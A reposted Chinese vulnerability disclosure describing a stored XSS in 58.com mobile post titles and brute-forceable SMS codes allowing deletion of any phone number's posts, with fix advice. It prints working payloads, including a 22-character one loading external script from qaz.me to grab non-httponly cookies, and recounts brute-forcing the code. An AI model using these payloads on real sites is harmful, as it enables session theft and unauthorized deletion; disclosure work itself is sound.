好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

58同城存储型XSS ( 25个字符加载JS ) + 任意手机号码

不说了 之前把精力全耗在主域上面 另外感谢parsec众基友的思路跟短域名

挖 漏洞 实在挖到太晚了 没精力写详细了 就这样写吧 忘谅解!看在这么努力挖洞的份上别走小厂商流程了把!

http://m.58.com/cs/cwzengsong/18047282901898x.s html ?refrom=wap 问题存在于发表一个帖子的标题处  

这是截图。在pc端的网页上 标题也输出在了 meta 的content 里 但是由于25个字符的限制导致不能造成比较有影响力的漏洞(在这里耗费了很长的时间尝试去绕过)。。。 后来转念一想 不是还有m.58 的手机网页么 就访问下手机域名下的这个帖子 发现 标题有三处输出 其中一处被带入了 script 内。 测试一下发现 双引号未过滤 妥了 写代码。 看图:  

代码如下: <script>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"【租房 买房 找工作 找服务就上手机58|m.58.com】"+alert(1)+" - 雨花宠物赠送/领养 - 长沙58同城","bdMini":"2","bdMiniList":false,"bdPic":"","bdStyle":"0","bdSize":"32"},"share":{}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</script> payload :"+alert(1)+" 花了12个字符 本想就此打住提交的 结果parsec群里的几个基友就开始说了 怎么不加载钩子什么的 (之前我稍微看了下没jquery 就放弃了 后来发现jquery 被改名了 改成jq了 然后我立马斗志就来了) 再加上索马里的海贼的短域名 qaz.me相助 就更加有信心了 于是再次构造payload 来加载js 最终payload: "+loadJS("//qaz.me")+" (22字符) 最终以22字符的payload 成功加载外部js cookie 未做httponly 上张图:  

另外一个就是任意手机号码的帖子删除  

在这个界面可以查询手机号发了哪些帖子  

选中其中一条删除 就会发送6为纯数字的验证码到手机上 又没对验证码做时间限制。也没对客户端所提交的验证码次数进行限制。 上图一张:  

当提交的payload 为793196时就正确了 返回值为true 也确实删除了!  

 

 

修复方案:

xss 修复的话 你们虽然限制了长度 可是你们引用的一些js 的类 库 可以当做我们的帮手。你直接去除了' 号 那么也过滤掉"号吧 还有一些危险的函数也过滤掉! 反正xss的修复方法那么多 也不差我这一个 任意帖子的删除的话,验证码设置有效时间。客户端所提交验证码次数应该有限

查看更多关于58同城存储型XSS ( 25个字符加载JS ) + 任意手机号码的详细内容...

  阅读:41次